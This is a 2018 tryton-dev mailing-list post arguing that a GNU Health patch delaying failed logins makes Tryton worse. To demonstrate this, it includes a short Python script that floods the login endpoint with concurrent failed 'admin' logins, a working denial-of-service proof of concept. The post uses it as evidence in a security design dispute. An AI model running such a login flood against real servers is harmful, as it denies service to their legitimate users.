On 2018-02-14 01:27, Axel Braun wrote:
> Am Sonntag, 4. Februar 2018 00:30:05 UTC+1 schrieb Cédric Krier:
> > On 2018-02-03 07:48, Axel Braun wrote:
> > > Am Montag, 29. Januar 2018 23:25:07 UTC+1 schrieb Cédric Krier:
> > > > On 2018-01-29 12:47, Axel Braun wrote:
> > > > > I would like to discuss https://bugs.tryton.org/issue5375 with all
> > > > > developers involved.
> > > >
> > > > All developers have already commented on the issue and we all agree that
> > > > the proposal is wrong, solves nothing and weakens the brute force attack
> > > > protection.
> > >
> > > We had a constructive and friendly discussion about the topic here:
> > > https://bugzilla.opensuse.org/show_bug.cgi?id=1078111
> >
> > What I read is that more people agree that the applied patch does not
> > solve any issue and disable the brute force attack protection.
>
> Maybe you should read more carefully: The current implementation in
> Tryton, that allows you to bring the whole system down by flooding the
> database with login requests is rubbish (OK, the security team phrased
> it more politely)
So as it seems argumentations are just ignored. Here is a script that
shows that the "GNU Health patch" solves nothing and make things worst:
#!/usr/bin/env python3
import sys
from concurrent.futures import ThreadPoolExecutor
from requests_futures.sessions import FuturesSession
try:
URL = sys.argv[1]
except IndexError:
URL = 'http://localhost:8000/trunk/'
def payload():
return {
'method': 'common.db.login',
'params': [
'admin',
{'password': 'wrong'},
]
}
session = FuturesSession(executor=ThreadPoolExecutor(max_workers=80))
while True:
session.post(URL, json=payload())
If you run on a vanilla Tryton, of course the system will be slowed down
but users can still use the system because vanilla Tryton does not keep
a connection to the database on login failure. But of course the 'admin'
user can no more login as long as the attack is running (this is what
the common expected behaviour).
If you run on a "GNU Health" patched Tryton, the system is unusable for
every body because very fast all the database connections are hold by
the sleep.
This is just a simple example to show that the "GNU Health patch"
camp is just blinded by a limited vision on the security despite our
countless attempt to explain why their reasoning is wrong.
Now about the brute force attack, the only valid alternative protection
is to always slow any login. Slowing failing login is just useless
because as it leaks information too fast. But having a delay on the
login process is something we can not accept, there are scripts that
login on every call and we do not want to penalize them. Also we always
try to minimize the login time, well because it is the first impression
from the user and it will be bad if he has to wait more than 5 seconds
each time.
--
Cédric Krier - B2CK SPRL
Email/Jabber: cedric.kr...@b2ck.com
Tel: +32 472 54 46 59
Website: http://www.b2ck.com/
--
You received this message because you are subscribed to the Google Groups
"tryton-dev" group.
To view this discussion on the web visit
https://groups.google.com/d/msgid/tryton-dev/20180214112837.GZ24410%40kei.
